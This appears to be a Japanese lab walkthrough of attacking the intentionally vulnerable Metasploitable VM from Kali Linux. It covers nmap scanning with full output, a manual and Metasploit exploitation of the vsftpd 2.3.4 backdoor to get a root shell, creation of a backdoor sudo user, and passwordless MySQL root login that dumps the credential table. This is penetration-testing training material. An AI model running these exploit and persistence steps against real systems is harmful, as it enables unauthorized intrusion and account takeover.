Metasploitable への各種攻撃
nmap でポートスキャン
nmap には様々なオプションがあり
概要やオプションに関しては
Nampスキャンの全コマンド・オプションを日本語解説|ネットワークのセキュリティーはNmapで抑えよう
を参考に
ポートスキャンせず Ping スキャンするなら
-sP や -sn オプションを使う
純粋に Ping スキャンするなら
-sn にしないと他に飛ばしているパケットの説明を求められる
これは-sP だとIMCPだけでなく
80,443 ポートにもおくるため
実験するならMetasploitable のIPを
1 | ifconfig |
で調べて
KaliLinux から
1 | nmap -sn 192.168.1.137 |
とすればOK
Metasploitable でキャプチャになっているときには
右ctrl キーをおせば抜けられる
次にMetasploitable の開いているポート、サービスバージョン
OSの種類を調べる
-p-
全ポートのスキャン
ただし0番ポートと9100 は除く
-sV
サービスとバージョンの特定
-O
OSの特定
ただしバージョンまでは特定しない
これを Metasploitable に実行
1 | nmap -sV -O -p- 192.168.1.137 |
結果は
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | Nmap scan report for 192.168.1.137 Host is up (0.00039s latency). Not shown: 65505 closed ports PORT STATE SERVICE VERSION 21 /tcp open ftp vsftpd 2.3.4 22 /tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) 23 /tcp open telnet Linux telnetd 25 /tcp open smtp Postfix smtpd 53 /tcp open domain ISC BIND 9.4.2 80 /tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV /2 ) 111 /tcp open rpcbind 2 (RPC #100000) 139 /tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445 /tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 512 /tcp open exec ? 513 /tcp open login 514 /tcp open shell? 1099 /tcp open rmiregistry GNU Classpath grmiregistry 1524 /tcp open bindshell Metasploitable root shell 2049 /tcp open nfs 2-4 (RPC #100003) 2121 /tcp open ftp ProFTPD 1.3.1 3306 /tcp open mysql MySQL 5.0.51a-3ubuntu5 3632 /tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4)) 5432 /tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7 5900 /tcp open vnc VNC (protocol 3.3) 6000 /tcp open X11 (access denied) 6667 /tcp open irc UnrealIRCd 6697 /tcp open irc UnrealIRCd 8009 /tcp open ajp13 Apache Jserv (Protocol v1.3) 8180 /tcp open http Apache Tomcat /Coyote JSP engine 1.1 8787 /tcp open drb Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1 .8 /drb ) 34001 /tcp open status 1 (RPC #100024) 38465 /tcp open mountd 1-3 (RPC #100005) 43648 /tcp open nlockmgr 1-4 (RPC #100021) 53119 /tcp open rmiregistry GNU Classpath grmiregistry 1 service unrecognized despite returning data. If you know the service /version , please submit the following fingerprint at https: //nmap .org /cgi-bin/submit .cgi?new-service : SF-Port514-TCP:V=7.70%I=7%D=2 /8 %Time=5E3DD53C%P=x86_64-pc-linux-gnu%r(NULL SF:,2B,"\x01Couldn't\x20get\x20address\x20for\x20your\x20host\x20\(kali\)\ SF:n"); MAC Address: 08:00:27:55:20:B9 (Oracle VirtualBox virtual NIC) Device type : general purpose Running: Linux 2.6.X OS CPE: cpe: /o :linux:linux_kernel:2.6 OS details: Linux 2.6.9 - 2.6.33 Network Distance: 1 hop Service Info: Hosts: metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe: /o :linux:linux_kernel OS and Service detection performed. Please report any incorrect results at https: //nmap .org /submit/ . Nmap done : 1 IP address (1 host up) scanned in 128.06 seconds |
となった
この中で攻撃に使われそうなのは
1 2 3 | 21 /tcp open ftp vsftpd 2.3.4 1524 /tcp open bindshell Metasploitable root shell 5900 /tcp open vnc VNC (protocol 3.3) |
まず vsftp2.3.4 向け Exploit を探す
CVE Details
などで調べることもできる
なども参考に
今回は Exploit Database で
検索
これによるとリモートからコマンド実行できるバックドアがあるとのこと
を含むユーザ名でFTPへログインすると
6200ポートにバックドアが開く
この状態で 6200 ポートにアクセスすることで
vsftpd の実行権限で任意のコマンドが実行できる
1 | nc 192.168.1.137 21 |
というように
nc コマンドで Metasploitable のIPアドレス ポート番号
でアクセス
1 | USER 任意のユーザ名 |
ユーザ名の最後に をつける
1 | PASS 任意のパスワード |
とするとポートが開く
この状態で
別端末を
ctrl + alt + t で開き
1 | nc -nv 192.168.1.137 6200 |
で接続
nc コマンドとオプションについては
使いたいときに必ず忘れる便利なコマンド「nc」
を参考に
これで
whoami コマンドで確認すると
root ユーザになっているのがわかる
whoami コマンドについては
【 whoami 】コマンド/【 groups 】コマンド――自分の名前と所属するグループを表示する
を参考に
また exploit のvsftpd_234_backdoor.rbのコードが
https://www.exploit-db.com/exploits/17491
にあり
1 | sock.put( "USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n" ) |
でランダムなユーザ名のあとに を
1 | sock.put( "PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n" ) |
でパスワードの指定
としている
1 | nsock = self .connect( false , { 'RPORT' => 6200 }) rescue nil |
で6200ポートに接続できるか確認
実際に Metasploitable へ攻撃をするには
1 2 3 4 | msfconsole use exploit /unix/ftp/vsftpd_234_backdoor set rhost 192.168.1.137 exploit |
で実行
なお
192.168.1.137 の部分は
Metasploitable のIPアドレス
プロンプトが帰ってこないけど
コマンドの実行はできる
1 | whoami |
とすると root であることがわかる
これで
1 | useradd -m newuser -G sudo -s /bin/bash ; passwd newuser |
とするとバックドア用ユーザが作成でき
Enter new UNIX password:
となったら任意のパスワードをいれ
Retype new UNIX password:
となるので同じパスワードを入力する
このシェルから抜けるには
1 | exit |
を実行すればOK
msfコンソールからも抜けるのなら
1 | exit |
を再度実行すればOK
これで Metasploitable でログインするときに
newuser でのログインが可能になる
次にDBへのアクセス
Metasploitable のポート3306 が 開いているので
mysql での接続ができる
なおデフォルトでは root パスワードが設定されていないため
1 | mysql -h 192.168.1.137 -u root |
で簡単にログインできる
1 | show databases |
でDB一覧がみれる
1 2 3 4 5 6 7 8 9 10 11 | + --------------------+ | Database | + --------------------+ | information_schema | | dvwa | | metasploit | | mysql | | owasp10 | | tikiwiki | | tikiwiki195 | + --------------------+ |
パスワードの状態を確認するには
[mysql]
use mysql;
select user,password from user;
[/sql]
を実行
結果として
1 2 3 4 5 6 7 | + ------------------+----------+ | user | password | + ------------------+----------+ | debian-sys-maint | | | root | | | guest | | + ------------------+----------+ |
となっているのがわかる